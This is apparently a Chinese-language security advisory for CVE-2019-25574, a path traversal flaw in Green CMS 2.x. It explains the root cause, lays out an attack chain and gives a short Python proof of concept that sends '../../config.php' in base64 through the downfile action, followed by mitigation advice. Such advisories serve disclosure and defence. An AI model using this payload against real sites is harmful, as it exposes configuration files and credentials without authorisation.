IPBUF安全漏洞报告
English
CVE-2019-25574 CVSS 6.5 中危

CVE-2019-25574 Green CMS路径遍历漏洞

披露日期: 2026-03-21

漏洞信息

漏洞编号
CVE-2019-25574
漏洞类型
路径遍历
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Green CMS

相关标签

路径遍历任意文件下载Green CMSCVE-2019-25574

漏洞概述

Green CMS 2.x版本中存在路径遍历漏洞,允许经过身份验证的攻击者下载服务器上的任意文件和目录。攻击者能够通过在themeexporthandle操作中注入目录遍历序列,或者向downfile操作提供base64编码的文件路径,来绕过安全限制访问预期目录之外的敏感数据。

技术细节

该漏洞的核心原因在于服务器端对用户输入的路径参数缺乏严格的校验和过滤。首先,在`themeexporthandle`动作中,`theme_name`参数直接参与文件路径拼接,且未过滤`../`等跳转字符,导致攻击者可以遍历目录结构。其次,在`downfile`动作中,虽然参数经过了base64编码,但服务端仅进行解码后即用于文件读取操作,未验证解码后的真实路径是否仍在允许的根目录内。由于CVSS向量显示需要低权限用户(PR:L),攻击者需先获取有效账户,随后利用该漏洞读取配置文件、源代码等敏感信息,造成高机密性影响(C:H)。

攻击链分析

STEP 1
侦察
识别目标网站使用的是Green CMS 2.x版本。
STEP 2
获取认证
注册或通过其他手段获取一个低权限账户(满足PR:L要求)。
STEP 3
构造载荷
构造包含目录遍历序列(如../)的请求,或对目标文件路径进行Base64编码。
STEP 4
发送请求
向themeexporthandle或downfile接口发送恶意的HTTP请求。
STEP 5
数据泄露
服务器响应返回请求的任意文件内容,攻击者获取敏感信息。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import base64 target_url = "http://target/index.php" # Example 1: Using theme_name parameter (Path Traversal) # payload = {"m": "Admin", "a": "themeexporthandle", "theme_name": "../../config.php"} # Example 2: Using downfile parameter with Base64 encoding # The target file path is ../../config.php file_path = "../../config.php" encoded_path = base64.b64encode(file_path.encode()).decode() # Result: Li4vLi4vY29uZmlnLnBocA== payload = { "m": "Admin", "a": "downfile", "file": encoded_path } # Note: Authentication is required (Cookie/Session) cookies = {"PHPSESSID": "authenticated_session_id"} # response = requests.get(target_url, params=payload, cookies=cookies) # print(response.text)

影响范围

Green CMS 2.x

防御指南

临时缓解措施
在未升级补丁前,建议限制后台管理接口的访问来源IP,并部署Web应用防火墙(WAF)规则,拦截包含路径遍历特征(如"../")或异常Base64编码参数的请求。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表